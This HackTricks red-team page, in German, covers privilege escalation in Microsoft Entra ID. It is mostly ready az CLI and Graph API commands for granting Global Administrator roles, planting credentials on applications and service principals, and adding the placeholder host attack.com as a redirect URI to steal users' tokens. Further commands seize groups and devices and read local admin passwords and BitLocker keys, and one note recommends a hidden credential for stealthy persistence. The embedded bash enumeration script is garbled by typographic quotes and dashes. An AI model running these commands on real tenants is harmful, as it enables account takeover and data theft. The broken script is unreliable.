Az - EntraID Privesc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Note

Beachte, dass nicht alle granularen Berechtigungen, die in integrierten Rollen in Entra ID enthalten sind, für die Verwendung in benutzerdefinierten Rollen geeignet sind.

Rollen

Rolle: Privileged Role Administrator

Diese Rolle enthält die notwendigen granularen Berechtigungen, um Principals Rollen zuzuweisen und Rollen zusätzliche Berechtigungen zu erteilen. Beide Aktionen könnten missbraucht werden, um Privilegien zu eskalieren.

  • Rolle einem Benutzer zuweisen:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Mehr Berechtigungen zu einer Rolle hinzufügen:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Anwendungen

microsoft.directory/applications/credentials/update

Dies ermöglicht einem Angreifer, Anmeldeinformationen hinzuzufügen (Passwörter oder Zertifikate) zu bestehenden Anwendungen. Wenn die Anwendung privilegierte Berechtigungen hat, kann sich der Angreifer als diese Anwendung authentifizieren und diese Berechtigungen erlangen.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Dies erlaubt dieselben Aktionen wie applications/credentials/update, ist jedoch auf Anwendungen in einem einzelnen Verzeichnis beschränkt.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Indem ein Angreifer sich selbst als Eigentümer hinzufügt, kann er die Anwendung manipulieren, einschließlich der Anmeldeinformationen und Berechtigungen.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Ein Angreifer kann eine redirect URI zu Anwendungen hinzufügen, die von Benutzern des tenant verwendet werden, und ihnen dann Login-URLs schicken, die die neue redirect URI verwenden, um ihre tokens zu stehlen. Beachte, dass, wenn der Benutzer bereits in der Anwendung eingeloggt war, die Authentifizierung automatisch erfolgt, ohne dass der Benutzer etwas akzeptieren muss.

Beachte, dass es auch möglich ist, die Berechtigungen zu ändern, die die Anwendung anfordert, um mehr Rechte zu erhalten; in diesem Fall muss der Benutzer jedoch die Aufforderung zur Zustimmung zu allen Berechtigungen erneut akzeptieren.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

Wie in this post erklärt war es sehr verbreitet, Standardanwendungen zu finden, denen API permissions vom Typ Application zugewiesen waren. Eine API Permission (wie sie in der Entra ID console genannt wird) vom Typ Application bedeutet, dass die Anwendung auf die API zugreifen und Aktionen ohne Benutzerkontext ausführen kann (ohne dass sich ein Benutzer in die App einloggt) und ohne Entra ID-Rollen dafür zu benötigen. Daher ist es sehr häufig, hoch privilegierte Anwendungen in jedem Entra ID Tenant zu finden.

Wenn ein Angreifer eine Berechtigung/Rolle besitzt, die es erlaubt, die Anmeldeinformationen (Secret oder Zertifikat) der Anwendung zu aktualisieren, kann der Angreifer eine neue Anmeldeinformation erzeugen und diese dann verwenden, um sich als die Anwendung zu authentifizieren, wodurch er alle Berechtigungen erhält, die die Anwendung hat.

Beachte, dass der erwähnte Blog einige API permissions gängiger Microsoft default applications aufzeigt; einige Zeit nach diesem Bericht hat Microsoft dieses Problem jedoch behoben, und es ist nun nicht mehr möglich, sich als Microsoft applications einzuloggen. Es ist jedoch weiterhin möglich, benutzerdefinierte Anwendungen mit hohen Berechtigungen, die missbraucht werden könnten, zu finden.

Wie man die API permissions einer Anwendung auflistet:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Alle API-Berechtigungen von Anwendungen finden und Microsoft-eigene APIs kennzeichnen ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Dies ermöglicht einem Angreifer, vorhandenen Service Principals Anmeldeinformationen hinzuzufügen. Wenn der Service Principal über erhöhte Berechtigungen verfügt, kann der Angreifer diese Berechtigungen übernehmen.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Das neu generierte Passwort erscheint nicht in der web console, daher könnte dies ein stealth Weg sein, um persistence für einen service principal aufrechtzuerhalten.
Über die API lassen sie sich mit folgendem Befehl finden: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." it’s because es ist nicht möglich, die passwordCredentials property des SP zu modifizieren und zuerst müssen Sie sie entsperren. Dafür benötigen Sie eine Berechtigung (microsoft.directory/applications/allProperties/update), die es Ihnen erlaubt, Folgendes auszuführen:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Dies ermöglicht einem Angreifer, bestehenden Service Principals Anmeldeinformationen hinzuzufügen. Wenn ein Service Principal über erhöhte Berechtigungen verfügt, kann der Angreifer diese Berechtigungen übernehmen.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Ähnlich wie bei Anwendungen erlaubt diese Berechtigung, weitere Eigentümer zu einem Service Principal hinzuzufügen. Der Besitz eines Service Principals ermöglicht die Kontrolle über dessen Anmeldeinformationen und Berechtigungen.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Nachdem ich einen neuen owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, obwohl das die Methode ist, die du verwenden musst, um den owner zu löschen. Du kannst owners heutzutage nicht entfernen.

microsoft.directory/servicePrincipals/disable and enable

Diese Berechtigungen erlauben es, service principals zu deaktivieren und zu aktivieren. Ein attacker könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er sich irgendwie Zugriff verschaffen könnte, um Privilegien zu eskalieren.

Beachte, dass der attacker für diese Technik zusätzliche Berechtigungen benötigt, um den aktivierten service principal zu übernehmen.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Diese Berechtigungen erlauben das Erstellen und Abrufen von Anmeldeinformationen für Single Sign-On, was den Zugriff auf Anwendungen Dritter ermöglichen könnte.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Gruppen

microsoft.directory/groups/allProperties/update

Diese Berechtigung ermöglicht das Hinzufügen von Benutzern zu privilegierten Gruppen, was zu einer Privilegieneskalation führen kann.

az ad group member add --group <GroupName> --member-id <UserId>

Hinweis: Diese Berechtigung schließt Entra ID role-assignable groups aus.

microsoft.directory/groups/owners/update

Diese Berechtigung ermöglicht es, Eigentümer von Gruppen zu werden. Ein Eigentümer einer Gruppe kann die Mitgliedschaft und Einstellungen der Gruppe steuern und damit möglicherweise Privilegien auf die Gruppe eskalieren.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Hinweis: Diese Berechtigung schließt Entra ID role-assignable groups aus.

microsoft.directory/groups/members/update

Diese Berechtigung ermöglicht das Hinzufügen von Mitgliedern zu einer Gruppe. Ein attacker könnte sich selbst oder bösartige Konten zu privileged groups hinzufügen, was erhöhte Zugriffsrechte zur Folge haben kann.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Diese Berechtigung erlaubt das Aktualisieren der Mitgliedschaftsregel in einer dynamischen Gruppe. Ein attacker könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen aufzunehmen, ohne explizite Aufnahme.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Hinweis: Diese Berechtigung schließt Entra ID role-assignable groups aus.

Dynamic Groups Privesc

Es könnte möglich sein, dass Benutzer durch Ändern ihrer eigenen Eigenschaften als Mitglieder von dynamic groups hinzugefügt werden und dadurch escalate privileges erlangen. Für weitere Informationen siehe:

Az - Dynamic Groups Privesc

Benutzer

microsoft.directory/users/password/update

Diese Berechtigung erlaubt das Zurücksetzen des Passworts von non-admin users, wodurch ein potenzieller Angreifer escalate privileges gegenüber anderen Benutzern erlangen könnte. Diese Berechtigung kann nicht custom roles zugewiesen werden.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Diese Berechtigung erlaubt das Ändern von Eigenschaften eines Benutzers. Es ist häufig, dynamische Gruppen zu finden, die Benutzer basierend auf Eigenschaftswerten hinzufügen; daher könnte diese Berechtigung einem Benutzer erlauben, den benötigten Eigenschaftswert zu setzen, um Mitglied einer bestimmten dynamischen Gruppe zu werden und Privilegien zu eskalieren.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Fehlkonfigurierte Conditional Access Policies, die MFA erfordern, könnten umgangen werden. Prüfe:

Az - Conditional Access Policies & MFA Bypass

Geräte

microsoft.directory/devices/registeredOwners/update

Diese Berechtigung erlaubt Angreifern, sich selbst als Besitzer von Geräten zuzuweisen, um Kontrolle zu erlangen oder Zugriff auf gerätespezifische Einstellungen und Daten zu erhalten.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Diese Berechtigung ermöglicht es Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erlangen oder Sicherheitsrichtlinien zu umgehen.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten Zugangsdaten des lokalen Administratorkontos für Microsoft Entra joined devices zu lesen, einschließlich des Passworts.

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Diese Berechtigung ermöglicht den Zugriff auf BitLocker keys, wodurch ein Angreifer Laufwerke entschlüsseln und so die Vertraulichkeit von Daten gefährden könnte.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Weitere interessante Berechtigungen (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks